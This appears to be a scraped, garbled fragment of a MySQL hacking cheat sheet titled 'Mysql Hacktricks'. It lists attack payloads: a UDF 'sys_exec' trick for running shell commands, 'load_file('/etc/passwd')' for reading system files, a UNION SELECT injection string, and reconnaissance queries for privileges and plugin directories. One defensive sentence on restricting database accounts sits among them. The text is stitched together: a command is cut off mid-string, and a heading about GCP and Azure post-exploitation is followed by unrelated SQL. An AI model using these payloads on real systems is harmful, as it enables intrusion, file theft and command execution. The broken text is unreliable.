Mysql Hacktricks Verified ✧

CREATE FUNCTION sys_exec RETURNS INT SONAME 'libudf.so'; SELECT sys_exec('id > /tmp/id');

If you can't log in directly, SQL injection is your vector. The payloads for MySQL are:

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select load_file('/etc/passwd');

Web applications should never connect to the database using administrative accounts. Create dedicated users with permissions restricted strictly to the required databases and tables, completely disabling global file privileges. CREATE FUNCTION sys_exec RETURNS INT SONAME 'libudf

Here is a summary of key GCP and Azure post-exploitation actions:

' UNION SELECT * FROM users --

SELECT version(); -- MySQL version (5.x vs 8.x matters) SELECT user(); -- Current user SELECT database(); -- Current DB SELECT grantee, privilege_type FROM information_schema.user_privileges; SHOW VARIABLES LIKE 'secure_file_priv'; -- Critical for file read/write SHOW VARIABLES LIKE 'plugin_dir'; -- UDF location